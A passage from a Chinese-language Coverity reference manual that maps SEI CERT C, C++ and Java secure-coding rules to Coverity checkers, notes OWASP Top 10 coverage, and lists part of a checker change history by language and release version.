MSC39-C	不要对包含不确定值的 va_list 调用 va_arg()。	CERT MSC39-C	
MSC40-C	不要违反约束。	CERT MSC40-C	
POS30-C	正确使用 readlink() 函数。	CERT POS30-C	v.79
POS33-C	请勿使用 vfork()。	CERT POS33-C	v.101
POS34-C	请勿使用指向自动变量的指针作为参数来调用 putenv()。	CERT POS34-C	v.126
POS35-C	在检查符号链接的存在时，避免出现竞态条件。	CERT POS35-C	v.86
POS36-C	放弃权限时，请遵守正确的撤销顺序。	CERT POS36-C	v.67
POS37-C	确保成功放弃权限。	CERT POS37-C	v.79
POS38-C	使用 fork 和 file 描述符时要注意竞态条件。	CERT POS38-C	v.35
POS39-C	在系统之间传输数据时，请使用正确的字节顺序。	CERT POS39-C	v.51
POS44-C	请勿使用信号来终止线程。	CERT POS44-C	v.23
POS47-C	请勿使用可以异步取消的线程。	CERT POS47-C	v.58
POS49-C	当必须由多个线程访问数据时，请提供互斥锁并确保不访问任何相邻数据。	CERT POS49-C	v.24
POS50-C	声明在具有适当存储时间的 POSIX 线程之间共享的对象。	CERT POS50-C	v.17
POS52-C	按住 POSIX 锁时，请勿执行可能阻塞的操作。	CERT POS52-C	v.23
POS54-C	删除并处理 POSIX 库错误。	CERT POS54-C	v.32
PRE30-C	不要通过连接创建通用字符串名称。	CERT PRE30-C	
PRE31-C	避免参数中的其他作用影响不安全的宏。	CERT PRE31-C	
PRE32-C	不要在类似函数的宏调用中使用预处理器指令。	CERT PRE32-C	

名称	说明	Coverity 检查器	版本
SIG30-C	仅在信号处理程序中调用异步安全函数。	CERT SIG30-C	
SIG31-C	不要在信号处理程序中访问共享的对象。	CERT SIG31-C	
SIG34-C	不要在可中断信号处理程序中调用 signal()。	CERT SIG34-C	
SIG35-C	不要在计算异常信号处理程序中返回。	CERT SIG35-C	
STR30-C	不要尝试修改字符串常量。	CERT STR30-C	
STR31-C	保证字符串存储有充足的空间来存储字符数据和 null 终止符。	CERT STR31-C	
STR32-C	不要将非 null 终止字符序列传递给期望字符串的库函数。	CERT STR32-C	
STR34-C	将字符转换为更大整数前将字符转换为无符号字符。	CERT STR34-C	
STR37-C	字符处理函数的参数必须可表示为无符号字符。	CERT STR37-C	
STR38-C	不要混淆窄和宽字符的字符串和函数。	CERT STR38-C	

### F.2.2. SEI CERT C Recommendations

Table F.2. SEI CERT C Recommendations

名称	说明	Coverity 检查器	版本
API05-C	使用一致的数组参数。	CERT API05-C	v.20
ARR00-C	了解数组的工作方式。	CERT ARR00-C	v.66
ARR01-C	计算数组大小时，不要将 sizeof 运算符应用于指针。	CERT ARR01-C	v.102
ARR02-C	明确指定数组边界，即使由初始化器隐式定义。	CERT ARR02-C	v.79
DCL11-C	了解与可变参数函数相关的类型问题。	CERT DCL11-C	v.134
DCL23-C	确保相互可见的标识符具有唯一性。	CERT DCL23-C	v.116

名称	说明	Coverity 检查器	版本
ENV01-C	不要对环境变量的大小做出假设。	CERT ENV01-C	v.77
EXP05-C	不要丢掉常量属性。	CERT EXP05-C	v.146
EXP08-C	确保正确使用了指针算法。	CERT EXP08-C	v.156
EXP10-C	不要依赖于子表达式的评估顺序或其他作用发生的顺序。	CERT EXP10-C	v.84
EXP15-C	不要将分号与 if、for 或 while 语句放在同一行。	CERT EXP15-C	v.43
EXP16-C	不要将函数指针与常量值进行比较。	CERT EXP16-C	v.61
EXP19-C	对 if、for 或 while 语句本体使用花括号。	CERT EXP19-C	v.85
EXP20-C	执行显式测试，以确定是否成功、对错和相等。	CERT EXP20-C	v.81
FIO01-C	对于使用文件名进行识别的函数，使用时要小心。	CERT FIO01-C	v.213
FIO20-C	避免使用 fgets() 或 fgetws() 时意外截断。	CERT FIO20-C	v.71
INT02-C	了解整数转换规则。	CERT INT02-C	v.134
INT04-C	强制限制源自受污染源的整数值。	CERT INT04-C	v.114
INT07-C	仅将显式签名或无符号字符类型用于数字值。	CERT INT07-C	v.104
INT13-C	仅对无符号操作数使用位运算符。	CERT INT13-C	v.112
INT17-C	以独立于实现的方式定义整数常量。	CERT INT17-C	v.40
INT18-C	先以较大的大小计算整数表达式，然后才比较该大小或向该大小赋值。	CERT INT18-C	v.104
MEM00-C	在同一模块中以相同的抽象级别分配和释放内存。	CERT MEM00-C	v.143
MEM01-C	在 free() 之后立即将新值存储在指针中。	CERT MEM01-C	v.105
MEM05-C	避免大堆栈分配。	CERT MEM05-C	v.117
MSC15-C	不要依赖未定义的行为。	CERT MSC15-C	v.77

名称	说明	Coverity 检查器	版本
MSC17-C	用 break 语句完成与 case 标签关联的所有语句集。	CERT MSC17-C	v.54
MSC18-C	在处理程序代码中的敏感数据（例如密码）时要小心。	CERT MSC18-C	v.56
MSC24-C	不要使用已废弃或已过时的函数。	CERT MSC24-C	v.79
PRE09-C	不要将安全函数替换为已废弃或过时的函数。	CERT PRE09-C	v.99
PRE10-C	在 do-while 循环中封装多语句宏。	CERT PRE10-C	v.103
PRE11-C	不要用分号来结束宏定义。	CERT PRE11-C	v.55
PRE12-C	不要定义不安全的宏。	CERT PRE12-C	v.47
SIG02-C	避免使用信号来实现正常功能。	CERT SIG02-C	v.79
STR00-C	使用适当的类型表示字符。	CERT STR00-C	v.48
STR02-C	净化传递给复杂子系统的数据。	CERT STR02-C	v.120
STR03-C	不要意外截断字符串。	CERT STR03-C	v.112
STR06-C	不要假定 strtok() 保持分析字符串不变。	CERT STR06-C	v.108
STR07-C	使用边界检查接口进行字符串操作。	CERT STR07-C	v.105
STR11-C	不要指定使用字符串常量初始化的字符数组的边界。	CERT STR11-C	v.96

### F.3. SEI CERT C++ 规则

Table F.3. SEI CERT C++ 规则

名称	说明	Coverity 检查器	版本
CON50-CPP	不要销毁锁定的互斥锁。	CERT CON50-CPP	
CON51-CPP	确保在异常情况下释放主动持有的锁。	CERT CON51-CPP	
CON52-CPP	当从多个线程访问字段时阻止数据竞争。	CERT CON52-CPP	

名称	说明	Coverity 检查器	版本
CON53-CPP	通过按预定义的顺序锁定来避免死锁。	CERT CON53-CPP	
CON54-CPP	封装可以在循环中虚假醒来的函数。	CERT CON54-CPP	
CON55-CPP	使用条件变量时保持线程的安全和活性。	CERT CON55-CPP	
CON56-CPP	不要推测性地锁定已由调用线程拥有的非递归互斥锁。	CERT CON56-CPP	
CTR50-CPP	保证容器索引和 iterator 在有效范围内。	CERT CTR50-CPP	
CTR51-CPP	使用有效引用、指针和 iterator 来引用容器的元素。	CERT CTR51-CPP	
CTR52-CPP	保证库函数不溢出。	CERT CTR52-CPP	
CTR53-CPP	使用有效 iterator 范围。	CERT CTR53-CPP	
CTR54-CPP	不要减去不指向同一个容器的 iterator。	CERT CTR54-CPP	
CTR55-CPP	如果结果会溢出，不要对 iterator 使用加法运算符。	CERT CTR55-CPP	
CTR56-CPP	不要对多态对象使用指针算法。	CERT CTR56-CPP	
CTR57-CPP	提供有效的排序谓词。	CERT CTR57-CPP	
CTR58-CPP	谓词函数对象不应可变。	CERT CTR58-CPP	
DCL50-CPP	不要定义 C 风格的可变函数。	CERT DCL50-CPP	
DCL51-CPP	不要声明或定义保留的标识符。	CERT DCL51-CPP	
DCL52-CPP	绝不要使用 const 或 volatile 限定引用类型。	CERT DCL52-CPP	
DCL53-CPP	不要编写语法上不明确的声明。	CERT DCL53-CPP	
DCL54-CPP	在同一范围内将分配函数和释放函数重载为一对。	CERT DCL54-CPP	
DCL55-CPP	在跨信任边界传递类对象时避免信息泄露。	CERT DCL55-CPP	
DCL56-CPP	静态对象初始化期间避免循环。	CERT DCL56-CPP	

名称	说明	Coverity 检查器	版本
DCL57-CPP	不要让异常通过析构函数或释放函数转义。	CERT DCL57-CPP	
DCL58-CPP	不要修改标准命名空间。	CERT DCL58-CPP	
DCL59-CPP	不要在头文件中定义未命名的命名空间。	CERT DCL59-CPP	
DCL60-CPP	遵守一种定义规则。	CERT DCL60-CPP	
ERR50-CPP	不要突然终止程序。	CERT ERR50-CPP	
ERR51-CPP	处理所有异常。	CERT ERR51-CPP	
ERR52-CPP	不要使用 <code>setjmp()</code> 或 <code>longjmp()</code> 。	CERT ERR52-CPP	
ERR53-CPP	不要在构造函数或析构函数 <code>try-block</code> 处理程序中引用基类或类数据成员。	CERT ERR53-CPP	
ERR54-CPP	捕获处理程序应从最底层派生到最高层派生排序其参数类型。	CERT ERR54-CPP	
ERR55-CPP	遵守异常规范。	CERT ERR55-CPP	
ERR56-CPP	保证异常安全。	CERT ERR56-CPP	
ERR57-CPP	不要在处理异常时泄露资源。	CERT ERR57-CPP	
ERR58-CPP	在 <code>main()</code> 开始执行之前处理抛出的所有异常。	CERT ERR58-CPP	
ERR59-CPP	不要跨执行边界抛出异常。	CERT ERR59-CPP	
ERR60-CPP	异常对象必须不抛出可构造副本。	CERT ERR60-CPP	
ERR61-CPP	通过 <code>lvalue</code> 引用捕获异常。	CERT ERR61-CPP	
ERR62-CPP	在将字符串转换为数字时检测错误。	CERT ERR62-CPP	
EXP50-CPP	不要依靠求值顺序来查找其他作用。	CERT EXP50-CPP	
EXP51-CPP	不要通过不正确类型的指针删除数组。	CERT EXP51-CPP	
EXP52-CPP	不要依赖未求值操作数中的其他作用。	CERT EXP52-CPP	
EXP53-CPP	不要读取未初始化的内存。	CERT EXP53-CPP	

名称	说明	Coverity 检查器	版本
EXP54-CPP	不要访问其生命周期之外的对象。	CERT EXP54-CPP	
EXP55-CPP	不要通过 CV 不限定类型访问 CV 限定对象。	CERT EXP55-CPP	
EXP56-CPP	不要调用包含不匹配语言链接的函数。	CERT EXP56-CPP	
EXP57-CPP	不要转换或删除指向不完整类的指针。	CERT EXP57-CPP	
EXP58-CPP	将正确类型的对象传递给 va_start。	CERT EXP58-CPP	
EXP59-CPP	对有效类型和成员使用 offsetof()。	CERT EXP59-CPP	
EXP60-CPP	不要跨执行边界传递非标准布局类型对象。	CERT EXP60-CPP	
EXP61-CPP	Lambda 对象不得超过任何其引用捕获的对象。	CERT EXP61-CPP	
EXP62-CPP	不要访问不属于对象值表示的一部分的对象表示的位。	CERT EXP62-CPP	
EXP63-CPP	不要依赖 moved-from 对象的值。	CERT EXP63-CPP	
FIO50-CPP	不要在未插入定位调用的情况下从文件流中交替进行输入和输出。	CERT FIO50-CPP	
FIO51-CPP	关闭不再需要的文件。	CERT FIO51-CPP	
INT50-CPP	不要转换为范围外枚举值。	CERT INT50-CPP	
MEM50-CPP	不要访问被释放的内存。	CERT MEM50-CPP	
MEM51-CPP	正确地释放动态分配的资源。	CERT MEM51-CPP	
MEM52-CPP	检测并处理内存分配错误。	CERT MEM52-CPP	
MEM53-CPP	在手动管理对象生命周期时显式地构造和析构对象。	CERT MEM53-CPP	
MEM54-CPP	为新的位置提供适当对齐的指针，以达到足够的存储容量。	CERT MEM54-CPP	

名称	说明	Coverity 检查器	版本
MEM55-CPP	遵守替换动态存储管理要求。	CERT MEM55-CPP	
MEM56-CPP	不要将已经拥有的指针值存储在无关的智能指针中。	CERT MEM56-CPP	
MEM57-CPP	避免对过度对齐类型使用默认 operator new。	CERT MEM57-CPP	
MSC50-CPP	不要使用 std::rand() 生成伪随机数。	CERT MSC50-CPP	
MSC51-CPP	确保您的随机数生成器正确种植。	CERT MSC51-CPP	
MSC52-CPP	值返回函数必须从所有退出路径返回值。	CERT MSC52-CPP	
MSC53-CPP	不要从声明了 [[noreturn]] 的函数返回。	CERT MSC53-CPP	
MSC54-CPP	信号处理程序必须是普通旧函数。	CERT MSC54-CPP	
OOP50-CPP	不要从构造函数或析构函数中调用虚函数。	CERT OOP50-CPP	
OOP51-CPP	不要分割派生对象。	CERT OOP51-CPP	
OOP52-CPP	不要在没有虚析构函数的情况下删除多态对象。	CERT OOP52-CPP	
OOP53-CPP	按照规范顺序写入构造函数成员初始化器。	CERT OOP53-CPP	
OOP54-CPP	妥善地处理自拷贝赋值。	CERT OOP54-CPP	
OOP55-CPP	不要使用 pointer-to-member 运算符访问不存在的成员。	CERT OOP55-CPP	
OOP56-CPP	遵守替换处理程序要求。	CERT OOP56-CPP	
OOP57-CPP	更喜欢特殊的成员函数和重载运算符，而不是 C 标准库函数。	CERT OOP57-CPP	
OOP58-CPP	拷贝操作不得改变源对象。	CERT OOP58-CPP	
STR50-CPP	保证字符串存储有充足的空间来存储字符数据和 null 终止符。	CERT STR50-CPP	
STR51-CPP	不要尝试从 null 指针创建 std::string。	CERT STR51-CPP	

名称	说明	Coverity 检查器	版本
STR52-CPP	使用有效引用、指针和 iterator 来引用 basic_string 的元素。	CERT STR52-CPP	
STR53-CPP	范围检查元素访问。	CERT STR53-CPP	

## F.4. SEI CERT Java 编码标准

在下表中，“版本”列指示支持的规则版本，并提供指向该规则的版本控制文档的链接。

Table F.4. SEI CERT Java 规则

名称	说明	Coverity 检查器	版本
ENV02-J	不要信任环境变量的值。	CERT ENV02-J	v.34
ENV03-J	不要授予危险的权限组合。	CERT ENV03-J	v.110
ENV06-J	生产代码不得包含调试入口点。	CERT ENV06-J	v.11
ERR08-J	不要捕获 NullPointerException 或其任何上级项。	CERT ERR08-J	v.154
EXP00-J	不要忽略方法返回的值。	CERT EXP00-J	v.125
EXP01-J	在需要对象的情况下不要使用 null。	CERT EXP01-J	v.156
FIO05-J	不要将使用 wrap() 或 duplicate() 方法创建的缓冲区暴露给不受信任的代码。	CERT FIO05-J	v.78
FIO08-J	区分从数据流读取的字符或字节和 -1。	CERT FIO08-J	v.120
FIO14-J	在程序终止时执行适当的清理。	CERT FIO14-J	v.74
IDS00-J	阻止 SQL 注入。	CERT IDS00-J	v.200
IDS01-J	在验证字符串之前对其进行规范化处理。	CERT IDS01-J	v.123
IDS03-J	不要记录未净化的用户输入。	CERT IDS03-J	v.123
IDS07-J	净化传递给 Runtime.exec() 方法的不受信任的数据。	CERT IDS07-J	v.163
IDS08-J	净化正则表达式中包含的不可信数据。	CERT IDS08-J	v.122

名称	说明	Coverity 检查器	版本
IDS11-J	在验证之前执行任何字符串修改。	CERT IDS11-J	v.119
IDS16-J	阻止 XML 注入。	CERT IDS16-J	v.20
IDS17-J	阻止 XML 外部实体攻击。	CERT IDS17-J	v.21
JNI01-J	使用直接调用方的类加载器实例 (loadLibrary) 安全地调用执行任务的标准 API。	CERT JNI01-J	v.32
LCK01-J	使用私有最终锁对象来同步可能与不可信代码交互的类。	CERT LCK01-J	v.204
MET01-J	切勿使用断言来验证方法参数。	CERT MET01-J	v.36
MET06-J	不要在 clone() 中调用可重写方法。	CERT MET06-J	v.68
MSC02-J	生成强随机数。	CERT MSC02-J	v.128
MSC03-J	切勿对敏感信息进行硬编码。	CERT MSC03-J	v.114
MSC07-J	防止单例对象的多个实例化。	CERT MSC07-J	v.181
NUM00-J	检测或防止整数溢出。	CERT NUM00-J	v.255
NUM02-J	确保除法和余数运算不会导致“被零除”错误。	CERT NUM02-J	v.77
OBJ01-J	限制字段的可访问性。	CERT OBJ01-J	v.141
OBJ05-J	不要返回对私有可变类成员的引用。	CERT OBJ05-J	v.133
OBJ11-J	让构造函数抛出异常时要小心。	CERT OBJ11-J	v.179
OBJ13-J	确保不公开对可变对象的引用。	CERT OBJ13-J	v.41
SEC01-J	不允许在特权块中使用被污染的变量。	CERT SEC01-J	v.88
SEC02-J	不要基于不受信任的来源进行安全检查。	CERT SEC02-J	v.84
SEC03-J	不要在允许不受信任的代码加载任意类之后加载受信任的类。	CERT SEC03-J	v.142

## SEI CERT 规则

---

名称	说明	Coverity 检查器	版本
SEC04-J	通过安全管理器检查保护敏感操作。	CERT SEC04-J	v.83
SEC05-J	不要使用反射来增加类、方法或字段的可访问性。	CERT SEC05-J	v.162
SEC06-J	不要依赖 URLClassLoader 和 java.util.jar 提供的默认自动签名验证。	CERT SEC06-J	v.36
SEC07-J	在编写自定义类加载器时，调用超类的 getPermissions() 方法。	CERT SEC07-J	v.84
SER01-J	不要偏离序列化方法的正确签名。	CERT SER01-J	v.64
SER05-J	不要序列化内部类的实例。	CERT SER05-J	v.73
SER08-J	从特权上下文反序列化之前最小化特权。	CERT SER08-J	v.110
SER12-J	防止不可信数据的反序列化。	CERT SER12-J	v.37

---

## Appendix G. OWASP 十大网络安全风险覆盖范围

### Table of Contents

G.1. OWASP 十大网络安全风险覆盖范围 ..... 1107

### G.1. OWASP 十大网络安全风险覆盖范围

本文档的 HTML 版本 (`cov_checker_ref.html`) 提供了一个表格，其中标识了 Coverity Web 应用程序安全检查器对 2017 年 OWASP 十大安全风险的覆盖范围。

如果您使用上述链接时遇到问题，请尝试使用其他查看器，例如 Adobe Acrobat Reader。

---

## Appendix H. OWASP 十大移动安全风险覆盖范围

### Table of Contents

H.1. OWASP 十大移动安全风险覆盖范围 ..... 1108

### H.1. OWASP 十大移动安全风险覆盖范围

本文档的 HTML 版本 (`cov_checker_ref.html`) 提供了一个表格，其中标识了 Coverity 移动应用程序安全检查器对 2016 年 OWASP 十大移动安全风险 (Android 和 iOS) 的覆盖范围。

如果您使用上述链接时遇到问题，请尝试使用其他查看器，例如 Adobe Acrobat Reader。

---

# Appendix I. 检查器更改历史记录

## Table of Contents

I.1. Coverity 检查器更改历史记录 .....	1109
-------------------------------	------

“检查器更改历史记录”表列出了引入或更改 Coverity 检查器的发行版版本。该表包含截至当前发行版的所有当前支持的 Coverity 版本的更改历史记录。如果某检查器在此时段内未更改，则该检查器不会出现在此表中。

- “新增”栏列出了首次引入关联检查器的版本。
- “更改”栏列出了对关联检查器和语言对进行更改的版本。

### I.1. Coverity 检查器更改历史记录

Table I.1. Coverity 检查器更改历史记录

检查器名称	语言	新增	更改
ALLOC_FREE_MISMATCH	C		2020.06
	C++		2020.06
	CUDA		2020.06
	Objective-C		2020.06
	Objective-C++		2020.06
ANDROID_CAPABILITY_LEAK	Java		2020.09
	Kotlin		2020.06 2020.09
ANDROID_DEBUG_MODE	Kotlin		2020.03
ANDROID_WEBVIEW_FILEACCESS	Java	2020.06	
ANGULAR_EXPRESSION_INJECTION	TypeScript		2019.12
ANGULAR_SCE_DISABLED	JavaScript	2020.03	
	TypeScript	2020.03	
ANONYMOUS_DB_CONNECTION	Go	2021.06	
	Python 2	2021.06	
	Python 3	2021.06	
ARRAY_VS_SINGLETON	CUDA		2020.06
ASSERT_SIDE_EFFECT	CUDA		2020.06
ASSIGN_NOT_RETURNING_STAR_THIS	CUDA		2020.06
ATOMICITY	CUDA		2020.06
	Go		2020.03

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK	CUDA		2020.06
AWS_SSL_DISABLED	JavaScript	2020.03	
	TypeScript	2020.03	
AWS_VALIDATION_DISABLED	JavaScript	2020.03	
	TypeScript	2020.03	
BAD_ALLOC_ARITHMETIC	CUDA		2020.06
BAD_ALLOC_STRLEN	CUDA		2020.06
BAD_CERT_VERIFICATION	Go		2021.06
	JavaScript		2020.03
	Kotlin		2020.03
	Python 2		2021.06
	Python 3		2021.06
	TypeScript		2020.03
BAD_COMPARE	C		2021.06
	C++		2021.06
	CUDA		2020.06
			2021.06
	Objective-C		2021.06
	Objective-C++		2021.06
BAD_FREE	CUDA		2020.06
BAD_OVERRIDE	CUDA		2020.06
BAD_SHIFT	CUDA		2020.06
BAD_SIZEOF	CUDA		2020.06
BUFFER_SIZE	CUDA		2020.06
CALL_SUPER	C#		2020.12
	Java		2020.12
	Visual Basic		2020.12
CHAR_IO	CUDA		2020.06
CHECKED_RETURN	CUDA		2020.06
CHROOT	CUDA		2020.06
COM.ADDROF_LEAK	CUDA		2020.12
COM.BAD_FREE	CUDA		2020.12

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Objective-C ++		2020.12
COM.BSTR.ALLOC	CUDA		2020.12
	Objective-C ++		2020.12
COM.BSTR.BAD_COMPARE	CUDA		2020.12
	Objective-C ++		2020.12
COM.BSTR.CONV	CUDA		2020.12
	Objective-C ++		2020.12
COM.BSTR.NE_NON_BSTR	CUDA		2020.12
	Objective-C ++		2020.12
CONFIG.ANDROID_BACKUPS_ALLOWED	Kotlin		2020.03
CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	Java	2020.12	
	Kotlin	2020.12	
CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	Kotlin		2020.03
CONFIG.ANDROID_UNSAFE_MINSDKVERSION	Kotlin		2020.03
CONFIG.BEEGO_CSRF_PROTECTION_DISABLED	Go	2021.06	
CONFIG.COOKIE_SIGNING_DISABLED	JavaScript	2019.12	
	TypeScript	2019.12	
CONFIG.CORDOVA_EXCESSIVE_LOGGING	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.CORDOVA_PERMISSIVE_WHITELIST	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	Python 2		2021.06
	Python 3	2020.12	
CONFIG.ENABLED_DEBUG_MODE	JavaScript		2020.03
	Python 2		2021.06
	Python 3		2020.12
	TypeScript		2020.03
CONFIG.HARDCODED_CREDENTIALS_AUDIT	C#		2020.12
	Java	2020.06	
	TypeScript	2020.06	

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	TypeScript	2020.06	
CONFIG.HARDCODED_TOKEN	JavaScript	2020.03	
	TypeScript	2020.03	
CONFIG.JAVAEE_MISSING_SERVLET_MAPPING	Java	2020.09	
CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	Java	2020.12	
CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	Java	2020.06	
CONFIG.SPRING_BOOT_SSL_DISABLED	Java	2020.09	
CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	Java	2020.09	
CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	Java	2020.09	
CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	Java	2020.06	
CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	Java	2020.06	
CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	Java	2020.06	
CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	Java	2020.09	
CONFIG.UNSAFE_SESSION_TIMEOUT	Go		2021.06
	JavaScript		2019.12
	TypeScript		2019.12
CONFIG.WEAK_SECURITY_CONSTRAINT	Java	2020.12	
CONSTANT_EXPRESSION_RESULT	CUDA		2020.06
COOKIE_INJECTION	Python 2		2021.06
	Python 3		2021.06
COPY_PASTE_ERROR	CUDA		2020.06
COPY_WITHOUT_ASSIGN	CUDA		2020.06
CORS_MISCONFIGURATION	C#		2021.06
	Java	2019.12	
	JavaScript	2019.12	
	TypeScript	2019.12	
CORS_MISCONFIGURATION_AUDIT	C#		2021.06
	Java	2019.12	
	JavaScript	2019.12	
	TypeScript	2019.12	
CSRF	Java		2020.12

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Python 3		2020.12
CSRF_MISCONFIGURATION_HAPI_CRUMB	JavaScript	2019.12	
	TypeScript	2019.12	
CTOR_DTOR_LEAK	CUDA		2020.06
CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	CUDA	2020.06	
CUDA.CUDEVICE_HANDLES	CUDA	2020.06	
CUDA.DEVICE_DEPENDENT	CUDA	2020.06	
CUDA.DEVICE_DEPENDENT_CALLBACKS	CUDA	2020.06	
CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	CUDA	2020.06	
CUDA.ERROR_INTERFACE	CUDA	2020.06	
CUDA.ERROR_KERNEL_LAUNCH	CUDA	2020.06	
CUDA.FORK	CUDA	2020.06	
CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	CUDA	2020.06	
CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	CUDA	2020.06	
CUDA.INVALID_MEMORY_ACCESS	CUDA	2020.09	
CUDA.SHARE_FUNCTION	CUDA	2020.09	
CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	CUDA	2020.09	
CUDA.SPECIFIERS_INCONSISTENCY	C	2020.09	
	C++	2020.09	
	CUDA	2020.09	
CUDA.SYNCHRONIZE_TERMINATION	CUDA	2020.06	
DC.PREDICTABLE_KEY_PASSWORD	CUDA		2020.06
DC.STREAM_BUFFER	CUDA		2020.06
DC.STRING_BUFFER	CUDA		2020.06
DC.WEAK_CRYPTO	CUDA		2020.06
DEADCODE	CUDA		2020.06
	Go		2019.12
DELETE_ARRAY	CUDA		2020.06
DELETE_VOID	CUDA		2020.06
DENY_LIST_FOR_AUTHN	Ruby	2020.12	
DISABLED_ENCRYPTION	Java	2020.06	
DISTRUSTED_DATA_DESERIALIZATION	Go	2019.12	
DIVIDE_BY_ZERO	CUDA		2020.06

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Visual Basic		2019.12
DNS_PREFETCHING	JavaScript	2020.03	
	TypeScript	2020.03	
ENUM_AS_BOOLEAN	CUDA		2020.06
EVALUATION_ORDER	CUDA		2020.06
EXPOSED_DIRECTORY_LISTING	Go	2021.06	
	JavaScript	2021.06	
	TypeScript	2021.06	
EXPOSED_PREFERENCES	Kotlin		2020.06
EXPRESS_SESSION_UNSAFE_MEMORYSTORE	JavaScript	2019.12	
	TypeScript	2019.12	
EXPRESS_WINSTON_SENSITIVE_LOGGING	JavaScript	2019.12	
	TypeScript	2019.12	
FILE_UPLOAD_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
FLOATING_POINT_EQUALITY	CUDA		2020.06
FORMAT_STRING_INJECTION	C		2019.12 2020.03
	C++		2019.12 2020.03
	CUDA		2020.06
	Objective-C		2019.12 2020.03
	Objective-C++		2019.12 2020.03
FORWARD_NULL	C		2021.06
	C++		2021.06
	CUDA		2020.06
	Objective-C		2021.06
	Objective-C++		2021.06
GUARDED_BY_VIOLATION	Go		2020.03
HARDCODED_CREDENTIALS	CUDA		2020.06
	Go		2019.12

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Kotlin		2020.03
	Python 3		2020.12
HEADER_INJECTION	C		2020.03
	C++		2020.03
	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.06
	Objective-C		2020.03
	Objective-C++		2020.03
	Python 2		2020.12
	Python 3		2020.12
	Swift		2021.06
	Visual Basic		2020.09
HOST_HEADER_VALIDATION_DISABLED	Python 2		2021.06
	Python 3	2020.12	
HPKP_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
IDENTICAL_BRANCHES	CUDA		2020.06
IMPLICIT_INTENT	Kotlin		2020.06
INCOMPATIBLE_CAST	CUDA		2020.06
INFINITE_LOOP	CUDA		2020.06
	Go		2019.12
	Visual Basic		2019.12
INSECURE_ACL	JavaScript	2020.06	
	TypeScript	2020.06	
INSECURE_COMMUNICATION	C#		2020.12
	Go		2021.06
	Java		2020.06
	JavaScript		2020.03
	Kotlin		2020.06
	Python 2		2021.06

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	Python 3		2021.06
	TypeScript		2020.03
	Visual Basic		2020.12
INSECURE_COOKIE	C#		2020.09
	JavaScript		2019.12
	Python 2		2021.06
	Python 3		2020.12
	TypeScript		2019.12
INSECURE_HTTP_FIREWALL	Java	2020.06	
INSECURE_NETWORK_BIND	Go	2021.06	
	Python 2	2021.06	
	Python 3	2021.06	
INSECURE_RANDOM	Kotlin		2020.06
	Python 2		2020.12
	Python 3		2020.12
	Visual Basic		2020.06
INSECURE_REFERRER_POLICY	JavaScript	2020.03	
	Python 2		2021.06
	Python 3		2021.06
	TypeScript	2020.03	
INSECURE_REMEMBER_ME_COOKIE	Java	2020.06	
INSECURE_SALT	Python 2		2021.06
	Python 3		2021.06
INSUFFICIENT_LOGGING	Go		2019.12
	Python 2		2020.12
	Python 3		2020.12
INSUFFICIENT_PRESIGNED_URL_TIMEOUT	JavaScript	2020.03	
	TypeScript	2020.03	
INTEGER_OVERFLOW	CUDA		2020.06
INVALIDATE_ITERATOR	CUDA		2020.06
JINJA2_AUTOESCAPE_DISABLED	Python 2	2021.06	
	Python 3	2021.06	

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
JSONWEBTOKEN_UNTRUSTED_DECODE	Go		2021.06
LDAP_NOT_CONSTANT	C#	2020.06	
	Java	2020.06	
	Visual Basic	2020.06	
LOCK	CUDA		2020.06
	Go		2020.03
LOCK_EVASION	Visual Basic		2019.12
LOCK_INVERSION	Go		2020.03
MISMATCHED_ITERATOR	CUDA		2020.06
MISRA_CAST	CUDA		2020.06
MISSING_AUTHZ	Python 3		2020.12
MISSING_BREAK	CUDA		2020.06
MISSING_COMMA	CUDA		2020.06
MISSING_COPY_OR_ASSIGN	CUDA		2020.06
MISSING_HEADER_VALIDATION	Java	2020.06	
MISSING_LOCK	CUDA		2020.06
MISSING_MOVE_ASSIGNMENT	CUDA		2020.06
MISSING_PASSWORD_VALIDATOR	Python 2		2021.06
	Python 3	2020.12	
MISSING_PERMISSION_FOR_BROADCAST	Kotlin		2020.06
MISSING_PERMISSION_ON_EXPORTED_COMPONENT	Kotlin		2020.03
MISSING_RESTORE	CUDA		2020.06
MISSING_RETURN	CUDA		2020.06
MIXED_ENUMS	CUDA		2020.06
MOBILE_ID_MISUSE	Kotlin		2020.06
MULTER_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
NEGATIVE RETURNS	CUDA		2020.06
NESTING_INDENT_MISMATCH	CUDA		2020.06
NOSQL_QUERY_INJECTION	Go		2019.12
	Python 3		2020.12
NO_EFFECT	C		2020.09

## 检查器更改历史记录

---

检查器名称	语言	新增	更改
	C++		2020.09
	CUDA		2020.06
	Objective-C		2020.09
	Objective-C++		2020.09
NULL RETURNS	C	2019.12 2020.03 2020.06	
	C#	2019.12 2020.03	
	C++	2019.12 2020.03 2020.06	
	CUDA	2020.06	
	Go	2019.12 2020.03	
